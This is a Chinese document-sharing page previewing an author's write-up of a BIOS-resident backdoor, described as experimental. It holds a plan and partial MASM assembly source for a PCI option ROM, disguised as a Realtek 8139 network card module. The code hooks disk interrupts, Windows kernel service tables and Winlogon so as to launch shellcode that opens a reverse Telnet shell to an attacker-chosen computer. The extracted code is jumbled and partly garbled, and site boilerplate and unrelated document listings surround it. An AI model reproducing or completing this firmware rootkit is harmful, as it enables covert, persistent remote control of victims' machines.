版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、BIOS 中隐藏 Telnet 后门项目简述 该项目仅为实验性项目 ,目的是学习国外技术。该项目 主要目的是想隐藏一个 Telnet 后门 在主板的 BIOS 内 ,并让其随着计算机系统及操作系统成功的 运行起来。运行后能反向 Telnet 连 接到指定的计算机接受 CMD 控制。 关于作者 姓名:成松林 QQ:179641795 Email: 本人对计算机的诸多技术都 很 有兴趣,常喜欢学习国外的开源项目,很佩服国外的计算机 技术及知识。本人学历:中专,专 业:计算机,年龄: 25 ,工作:中专学业完成后留校工作。 废话:本人家景很穷,所以大学都 未上成就工作,希望有志人士能教小弟赚钱。我文
2、才很差, 故文章中有语法及表达问题请大家 多多谅解。 项目涉及的相关知识及技术标题 1、实验环境配置问题。2、刷新 BIOS 技术问题。3、代码植入 BIOS 问题。4、源代码的相关问题:A、如何编写 BIOS模块如:PCI、ISA。B 、实模式关于 HOOK 磁盘中断的问题。C 、磁盘中断中选择再次 HOOK 的问题。D 、 NT 保护模式下设置物理地址映射。E 、 NT 保护模式下线性地址寻址问题。F、HOOK KeAddSystemServiceTable 。G、HOOK NtUserRegisterClassExWOW 。H、 HOOK Winlogon SASWndProc过程。I、
3、在SASWndProc 收到 WM_CREATE 消息建立线 程运行 Telnet Shell Code 。5、源代码的其他技术:A、IVThook InLineHook SSDT HookB、SEH PE PEB TIBC 、 Hash SharedUserData CheckSum6、 文章内容会在朋友的网站 (51cto) 上发布 ,文章还未整理好 ,相关的工具及相关的源代码会在以后整理发布.以下源代码采用编辑工具 MASMPlus, 直接拷贝到这里可能 有格式上的问题 ,做了简单的调整 ! 调试了几台我这儿的 计算机 ,以网卡 8139PCI 模块加入 BIOS 刷入芯片 ,在调试计
4、算机上安装 win2k/xp/2003 及操作系统运行后 ,以下源代 码都能正常的反向连接到我指定的计算机上.586p;编译工具 :ML /AT *.asm ML(masm) 版本 6.11,BIOS 中隐藏 Telnet 后门 .ModelTiny;作者 :成松林 ,QQ:179641795,Emil:. 实现源代 码. *,*ROM_IMAGE_SIZE equ4 ; 整个模块 大小单位 KB, 固定大小 4KB.CSL_KERNEL_DEST equ0FFDF0800h ;Shared UserData 数据结构线性地址 .CSL_USER_BACKDOOR equ07FFE0800h
5、;Shared UserData 数据结构线性地址 . *,*RealCode segment use16Code16Start: * ,* org00h ;# 注意 :置代码开始地址以便于确定定置.#,* 设置开始偏移 :000h*dw0AA55h ; # 注意 :ROM 头格式标识可以生气独立 ROM.#,* 标 识开始偏移 :000h*dbROM_IMAGE_SIZE*2;#注意:ROM 长度(单位:512B,块)最小8块.#,*长度开始偏移 :002h*jmpMyROMCodeStart;#注意:修改 ROM 模拟跳转指令到这里执行 #,*指令开始偏移 :003h*org06h#注意:
6、编译器根据偏移长度选择 JMP 命令#,*jMPrel16 长:003h*ReturnOldROM:;# 注意 : 把数据放在头部以便于确定位置 .#,* 标识开始偏移 :006h*db0e9h,0,0 ;# #注意 :执行完跳转到旧的 ROM 代码跳转处 #,* 指令 数据偏移 :007h*dbCHKSUM=,0# 注意 :填写我们修改后的 ROM 数据检验和 #,* 数 据偏移地址 :010h* *,* org18h ; 编译成支持 PCI 设备的模块 :PCI ROM 固定大小 4KB, 其他参 看PCI 2.2规范教程dd 34001ch,52494350h,813910ech,180
7、000h,200h,2010008h ,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0; 硬件 realtek PCI8139 网卡 * ,*MyROMCodeStart:pushf pushad push es push ds sti;打开中断 ,以便接收键盘输入movcx,0ffffh;等待,约为两二秒的按键消息 .callWaitPressScrollKey.if!CARRY?;若按下 Scroll Lock 键,不运行我们的程序 . * ,*xor ax,axmoves,axmoveax,es:19h*4moves:84h*4,eax;借用中
8、断向量 84H, 保存中断向量19H. mov;40:13,BIOS;注意 :要求分配的;bx *= 1024除以 16);es:di ->offsetbx,es:413h数据区保存常规的内存大小 ,单位 :KBs.and bl,NOT3物理内存地址 ,以页作为基地址 .subbx,4moves:413h,bxshlbx,(10-4)/ 16 (KBs-> 线性地址 =KBs*1024, 段mov es,bxxordi,di分配的实模式高端内存前半部分开始处push cs pop ds callGetCurrentAddrCode16End = offset Code32StartGetCurrentAddr:popsi;si->GetCurrentAddr 在内存的地址mov dx
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- GB/T 917-2026公路路线标识规则和国道编号
- T/SDJSXH 07-2024塔式起重机自动驾驶系统应用技术规程
- T/JX 001-2024喷水织机行业中水回用水质要求
- T/CCSAS 052-2025三氯氢硅还原法多晶硅生产安全技术规范
- T/CCPA 74-2025公路与市政工程预制混凝土构件智能工厂技术要求
- T/CSMT HJ005-2026产品碳足迹数据质量溯源性要求
- GB/T 48281-2026航空器操纵钢丝绳套管尺寸与载荷
- 2025~2026学年广西壮族自治区玉林市陆川县人教版六年级上册11月期中数学试卷【附答案】
- 甘肃省定西市2027届七上数学期末调研模拟试题含解析
- PHP常用复试面试题及详细答案(真实职场版)
- 阿拉善盟教师招聘真题2025
- 湖南省长沙市2026-2027学年高一上学期期中考试语文自编卷(范围:统编版必修一1-4单元)(原卷版)
- 2026年食品标签标识规范业务考试试卷试题及答案
- GJB 151C-2024 军用设备和分系统 电磁发射和敏感度要求与测量
- ISO9001-2026质量管理体系标准培训
- 2026版公路水运工程试验检测专业技术人员职业资格考试《桥隧工程一本通》
- IPC-JEDEC J-STD-020F-2024 中文版(非气密固态表面贴装器件的潮湿 - 再流焊敏感度分级)
- 2025浙江鹿城农商银行春季招聘笔试历年典型考题及考点剖析附带答案详解
- 高中英语U4-The-Words-That-Changed-A-Nation教学课件
- 新能源的风险与防范措施
- 《针灸治疗》课件-第十六节 网球肘
评论
0/150
提交评论